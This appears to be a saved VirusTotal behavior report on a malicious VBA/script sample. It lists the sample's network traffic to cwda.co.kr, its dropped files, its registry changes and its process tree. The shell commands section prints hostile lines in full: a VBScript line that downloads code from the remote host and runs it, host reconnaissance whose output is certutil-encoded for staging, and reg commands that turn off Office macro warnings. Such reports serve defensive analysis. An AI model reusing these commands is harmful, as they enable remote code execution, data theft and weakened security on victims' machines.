VirusTotal - File - 34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f - 02/11/2024 15:05
https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior

34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f

Sign in Sign up

17
/ 63
Community Score

17/63 security vendors flagged this file as malicious

Reanalyze Similar More

34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842...
payload_1.bin

Size
2.67 KB

Last Analysis Date
24 days ago

vba run-file enum-windows open-file create-ole url-pattern

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to **automate checks.**

☑ Display grouped sandbox reports

☑ C2AE ⚠ 0 0 0 0 0 1

☑ Dr.Web vx... ⚠ 1 0 4 0 5 5

Activity Summary

Download Artifacts Full Reports Help

⚠ **Detections**
1 MALWARE

Mitre Signatures
NOT FOUND

IDS Rules
1 MEDIUM 3 LOW

Sigma Rules
NOT FOUND

Dropped Files
1 SCRIPT 2 OTHER 1 HTML

Network comms
2 HTTP 2 DNS 2 IP

Dynamic Analysis Sandbox Detections ⓘ

⚠ The sandbox Dr.Web vxCube flags this file as: MALWARE

Crowdsourced IDS rules ⓘ

⚠ Matches rule DECODE_IP_OPTION_SET at Snort registered user ruleset
↳ *bad-unknown*

⚠ Matches rule DECODE_IP4_DST_BROADCAST at Snort registered user ruleset
↳ *misc-activity*

⚠ Matches rule DECODE_IP4_SRC_THIS_NET at Snort registered user ruleset
↳ *misc-activity*

⚠ Matches rule ARPSPOOF_UNICAST_ARP_REQUEST at Snort registered user ruleset
↳ *protocol-command-decode*

Network Communication ⓘ

HTTP Requests

+ POST http://cwda.co.kr/theme/basic/skin/new/basic/update/show.php 404

+ POST http://cwda.co.kr/theme/basic/skin/new/basic/update/show.php

DNS Resolutions

+ cwda.co.kr

IP Traffic

- TCP 211.218.150.99:80 (cwda.co.kr)
- 224.0.0.22

Behavior Similarity Hashes

C2AE	531e94896b24dc0d3fdc0a40f459b9d3
Dr.Web vxCube	0f752e86af93763784a9435b7e5b90dc

File system actions

Files Opened

- %APPDATA%\microsoft\office\mso2069.acl
- %APPDATA%\microsoft\office\mso2079.acl
- <DRIVERS>\etc\hosts
- <SYSTEM32>\certutil.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\ntdll.dll
- <SYSTEM32>\reg.exe
- <SYSTEM32>\schtasks.exe
- <SYSTEM32>\scrrun.dll

Files Written

- %APPDATA%\microsoft\office\mso2069.acl
- %APPDATA%\microsoft\office\mso2079.acl
- %APPDATA%\microsoft\windows\.netframework.xml
- <SYSTEM32>\tasks\msocache

Files Deleted

- %APPDATA%\microsoft\office\mso2069.acl
- %APPDATA%\microsoft\office\mso2079.acl

Files Dropped

- %APPDATA%\microsoft\office\mso2069.acl
- %APPDATA%\microsoft\office\mso2079.acl
- %APPDATA%\microsoft\windows\.netframework.xml
- /theme/basic/skin/new/basic/update/show.php
- <SYSTEM32>\tasks\msocache

Registry actions

Registry Keys Opened

- <HKCU>\Software
- <HKCU>\Software\Microsoft
- <HKCU>\Software\Microsoft\Office
- <HKCU>\Software\Microsoft\Office\14.0\Excel\Security
- <HKCU>\Software\Microsoft\Office\14.0\WORD\Security
- <HKCU>\Software\Microsoft\Office\15.0
- <HKCU>\Software\Microsoft\Office\15.0\Excel
- <HKCU>\Software\Microsoft\Office\15.0\Excel\Security
- <HKCU>\Software\Microsoft\Office\15.0\WORD
- <HKCU>\Software\Microsoft\Office\15.0\WORD\Security

Registry Keys Set

- HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance\Performance Data
- HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance\Performance Refresh
- HKLM\SOFTWARE\Microsoft\WBEM\PROVIDERS\Performance\Performance Refreshed
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last Counter
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Last Help
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\Updating
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CAB2B51F-3871-4CCA-8B31-D115D31FEDCA}\DynamicInfo
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CAB2B51F-3871-4CCA-8B31-D115D31FEDCA}\Hash
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CAB2B51F-3871-4CCA-8B31-D115D31FEDCA}\Path
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CAB2B51F-3871-4CCA-8B31-D115D31FEDCA}\Triggers

Registry Keys Deleted

- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\First Counter
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\First Help
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Last Counter
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Last Help
- HKLM\SYSTEM\ControlSet001\Services\WmiApRpl\Performance\Object List
- <HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\\IntranetName
- <HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\\ProxyBypass
- <HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\MSOCache.job
- <HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CompatibilityAdapter\Signatures\MSOCache.job.fp
- <HKLM>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\\IntranetName

Process and service actions ⓘ

Processes Created

- <SYSTEM32>\certutil.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\conhost.exe
- <SYSTEM32>\ipconfig.exe
- <SYSTEM32>\reg.exe
- <SYSTEM32>\schtasks.exe
- <SYSTEM32>\systeminfo.exe
- <SYSTEM32>\tasklist.exe
- <SYSTEM32>\wbem\wmiprvse.exe
- <SYSTEM32>\wscript.exe

Shell Commands

```
"%ComSpec%" /c certutil -encode %APPDATA%\Microsoft\Office\MSO2069.acl %APPDATA%\Microsoft\Office\MSO2079.acl
"%ComSpec%" /c del %APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c del %APPDATA%\Microsoft\Office\MSO2079.acl
"%ComSpec%" /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c echo On Error Resume Next:Set Post0 = CreateObject("MSXML2.ServerXMLHTTP.6.0"):Post0.open "GET",
"http://cwda.co.kr/theme/basic/skin/new/basic/update/list.php?query=6",
False:Post0.Send:Execute(Post0.responseText):>>%APPDATA%\Microsoft\Windows\.NetFramework.xml
"%ComSpec%" /c ipconfig /all>>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
```

Processes Terminated

```
"%ComSpec%" /c certutil -encode %APPDATA%\Microsoft\Office\MSO2069.acl %APPDATA%\Microsoft\Office\MSO2079.acl
"%ComSpec%" /c del %APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c del %APPDATA%\Microsoft\Office\MSO2079.acl
"%ComSpec%" /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c echo On Error Resume Next:Set Post0 = CreateObject("MSXML2.ServerXMLHTTP.6.0"):Post0.open "GET",
"http://cwda.co.kr/theme/basic/skin/new/basic/update/list.php?query=6",
False:Post0.Send:Execute(Post0.responseText):>>%APPDATA%\Microsoft\Windows\.NetFramework.xml
"%ComSpec%" /c ipconfig /all>>%APPDATA%\Microsoft\Office\MSO2069.acl
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
"%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
```

Processes Tree

```
2672 - wscript.exe %SAMPLEPATH%
  ↳ 2944 - "%ComSpec%" /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Office\MSO2069.acl
    ↳ 2968 - reg add HKCU\Software\Microsoft\Office\16.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
  ↳ 2092 - "%ComSpec%" /c systeminfo>>%APPDATA%\Microsoft\Office\MSO2069.acl
    ↳ 1052 - systeminfo
  ↳ 3000 - "%ComSpec%" /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Office\MSO2069.acl
  ↳ 2908 - "%ComSpec%" /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
    ↳ 2932 - reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
  ↳ 2024 - "%ComSpec%" /c certutil -encode %APPDATA%\Microsoft\Office\MSO2069.acl %APPDATA%\Microsoft\Office\MSO2079.acl
    ↳ 1372 - certutil -encode %APPDATA%\Microsoft\Office\MSO2069.acl %APPDATA%\Microsoft\Office\MSO2079.acl
```

Synchronization mechanisms & Signals ⓘ

Mutexes Opened

```
\Sessions\1\BaseNamedObjects\Global\BFE_Notify_Event_{d23cb1e6-c86a-4e68-8a6b-77b73c1f7a81}
\Sessions\1\BaseNamedObjects\Global\TermSrvReadyEvent
```

Mutexes Created

```
\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex
\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex
\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex
\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex
```